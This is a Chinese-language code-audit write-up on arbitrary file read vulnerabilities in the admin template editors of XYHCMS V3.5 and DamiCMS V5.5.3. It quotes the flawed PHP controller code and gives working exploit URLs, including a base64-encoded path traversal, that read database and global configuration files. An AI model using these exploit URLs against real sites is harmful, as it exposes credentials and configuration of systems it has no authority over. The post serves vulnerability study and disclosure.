【代碼審計】兩個任意文件讀取漏洞實例
0x00 前言
0x01 漏洞實例一
環境搭建:
XYHCMS官網:http://www.xyhcms.com/
網站源碼版本:XYHCMS V3.5(2017-12-04 更新)
程序源碼下載:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw
代碼分析:
1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:
public function edit() { $ftype = I(‘ftype‘, 0, ‘intval‘); $fname= I(‘fname‘, ‘‘, ‘trim,htmlspecialchars‘); $file_path = !$ftype ? ‘./Public/Home/‘ . C(‘CFG_THEMESTYLE‘) . ‘/‘ : ‘./Public/Mobile/‘ . C(‘CFG_MOBILE_THEMESTYLE‘) . ‘/‘; if (IS_POST) { if (empty($fname)) { $this->error(‘未指定文件名‘); } $_ext= ‘.‘ . pathinfo($fname, PATHINFO_EXTENSION); $_cfg_ext = C(‘TMPL_TEMPLATE_SUFFIX‘); if ($_ext != $_cfg_ext) { $this->error(‘文件後綴必須為"‘ . $_cfg_ext . ‘"‘); } $content = I(‘content‘, ‘‘, ‘‘); $fname = ltrim($fname, ‘./‘); $truefile= $file_path . $fname; if (false !== file_put_contents($truefile, $content)) { $this->success(‘保存成功‘, U(‘index‘, array(‘ftype‘ => $ftype))); } else { $this->error(‘保存文件失敗,請重試‘); } exit(); } $fname = base64_decode($fname); if (empty($fname)) { $this->error(‘未指定要編輯的文件‘); } $truefile = $file_path . $fname; if (!file_exists($truefile)) { $this->error(‘文件不存在‘); } $content = file_get_contents($truefile); if ($content === false) { $this->error(‘讀取文件失敗‘); } $content = htmlspecialchars($content); $this->assign(‘ftype‘, $ftype); $this->assign(‘fname‘, $fname); $this->assign(‘content‘, $content); $this->assign(‘type‘, ‘修改模板‘); $this->display(); }
這段函數中對提交的參數進行處理,然後判斷是否POST數據上來,如果有就進行保存等,如果沒有POST數據,將跳過這段代碼繼續向下執行。
我們可以通過GET傳入fname,跳過前面的保存文件過程,進入文件讀取狀態。
對fname進行base64解碼,判斷fname參數是否為空,拼接成完整的文件路徑,然後判斷這個文件是否存在,讀取文件內容。
對fname未進行任何限制,導致程序在實現上存在任意文件讀取漏洞。
漏洞利用:
登錄網站後臺,數據庫配置文件路徑:\App\Common\Conf\db.php
我們將這段組成相對路徑,..\\..\\..\\App\\Common\\Conf\\db.php,然後進行base64編碼,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最後構造的鏈接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通過url訪問,成功獲取到數據庫敏感信息:
0x02 漏洞實例二
環境搭建:
大米CMS官網:http://www.damicms.com
網站源碼版本:大米CMS_V5.5.3試用版(更新時間:2017-04-15)
程序源碼下載:鏈接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密碼: h4kj
代碼分析:
漏洞文件位置:/Admin/Lib/Action/TplAction.class.php 第76-87行中:
public function add() { $filename = dami_url_repalce(str_replace(‘*‘,‘.‘,trim($_GET[‘id‘]))); if (empty($filename)) { $this->error(‘模板名稱不能為空!‘); } $content = read_file($filename); $this->assign(‘filename‘,$filename); $this->assign(‘content‘,htmlspecialchars($content)); $this->display(‘add‘); }
這段編輯模板的函數中,首先對獲取的參數進行替換,然後判斷文件是否為空,接著帶入read_file函數中執行,可以看到參數並未進行任何過濾或處理,導致程序在實現上存在任意文件讀取漏洞。
漏洞利用:
登錄後臺, 全局配置路徑在\Public\Config\config.ini.php,通過構造URL讀取全局配置文件內容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php
0x03 END
【代碼審計】兩個任意文件讀取漏洞實例